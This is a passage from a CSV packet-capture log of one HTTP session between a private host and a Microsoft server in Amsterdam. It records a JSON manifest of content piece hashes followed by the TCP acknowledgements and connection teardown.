+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpG\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 54763, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 34784, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115183389, \"\"ack\"\": 3210930734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56606, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 19 Jul 2026 10:10:07 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-CID': b'10004', b'X-CCC': b'2a683604-f515-4c8e-a7dc-2c201bed8d33', b'X-Cache-Status': b'HIT'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpG\"\"}}]\"\n2026-07-19 10:10:07.712780,7,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,A,,,Ether > IP > TCP,3,TCP A Seq=3210930734 Ack=4115186805,bc24112907bbbc2411360d0c08004500002828f840008006022c0a98980b80fbac0dfa0b0050bf62ea2ef548c4755010201462680000,\".$.)...$.6\n...E..((.@....,\n......\n...P.b...H.uP. .bh..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 556, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930734, \"\"ack\"\": 4115186805, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25192, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:07.784336,8,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=4115186805 Ack=3210930734,bc2411360d0cbc24112907bb080045000384d5ee4000400691d980fbac0d0a98980b0050fa0bf548c475bf62ea2e5018003fd3220000534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"SM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 900, \"\"id\"\": 54766, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37337, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115186805, \"\"ack\"\": 3210930734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54050, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"SM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-07-19 10:10:07.826666,9,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,A,,,Ether > IP > TCP,3,TCP A Seq=3210930734 Ack=4115187665,bc24112907bbbc2411360d0c08004500002828f940008006022b0a98980b80fbac0dfa0b0050bf62ea2ef548c7d1501020115f0f0000,\".$.)...$.6\n...E..((.@....+\n......\n...P.b...H..P. ._...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 555, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930734, \"\"ack\"\": 4115187665, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8209, \"\"chksum\"\": 24335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:17.704881,10,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4115187665 Ack=3210930734,bc2411360d0cbc24112907bb080045000028d5ef40004006953480fbac0d0a98980b0050fa0bf548c7d1bf62ea2e5011003fcfc60000,\".$.6\n..$.)....E..(..@.@..4...\n....P...H...b..P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54767, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38196, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115187665, \"\"ack\"\": 3210930734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 53190, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:17.705065,11,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,A,,,Ether > IP > TCP,3,TCP A Seq=3210930734 Ack=4115187666,bc24112907bbbc2411360d0c08004500002828fa40008006022a0a98980b80fbac0dfa0b0050bf62ea2ef548c7d2501020115f0e0000,\".$.)...$.6\n...E..((.@....*\n......\n...P.b...H..P. ._...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 554, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930734, \"\"ack\"\": 